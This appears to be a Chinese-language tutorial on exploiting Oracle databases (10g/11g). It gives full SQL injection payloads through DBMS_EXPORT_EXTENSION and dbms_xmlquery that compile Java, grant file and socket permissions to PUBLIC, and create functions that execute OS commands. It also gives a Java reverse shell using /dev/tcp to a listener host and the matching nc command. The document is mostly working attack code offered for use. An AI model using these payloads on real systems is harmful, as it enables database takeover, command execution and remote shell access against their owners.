select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
賦予當前用戶Java權限
--當前用戶查看
select user from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;
通過以下命令可以查看all_objects內部改變:
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

image-20211006110557755
創建函數
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
判斷是否創建成功
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'

也可通過查看all_objects內部改變判斷
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

image-20211006110714309
若想刪除創建的函數,通過以下命令刪除
drop function LinxRunCMD
執行命令
select LinxRunCMD('id') from dual

2849daa3c5c2ade13eb918a3ca0ad502.png
dbms_java_test.funcall()
?影響版本:10g R2, 11g R1, 11g R2
?權限:Java Permissions
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;
執行時報如下錯

5bf9bd61e8d2fa65abe45e7a3506eb08.png
但不影響命令的執行

image-20211006110810998
該方式無回顯,在注入時不太方便利用,但可通過此方式反彈。
Java反彈Shell
在提權操作中如果遇到無回顯情況,如上部分第三種方法,可以通過反彈shell的方式,在自己VPS上利用nc監聽端口。以此來執行交互式執行命令(類似帶外通信)。
編譯payload
java源代碼(linux系統的payload):
import java.io.*;
import java.net.*;
public class shellRev
{
public static void main(String[] args)
{
System.out.println(1);
try{run();}
catch(Exception e){}
}
public static void run() throws Exception
{
String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};
Process p=Runtime.getRuntime().exec(aaa);
}
}
#編譯
javac shellRev.java
#執行
java shellRev
使用Java執行
創建Java庫
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual
賦予Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
賦予函數執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
反彈shell
select sys.reversetcp from dual
shell命令行輸入:
nc -vv -l p 8080
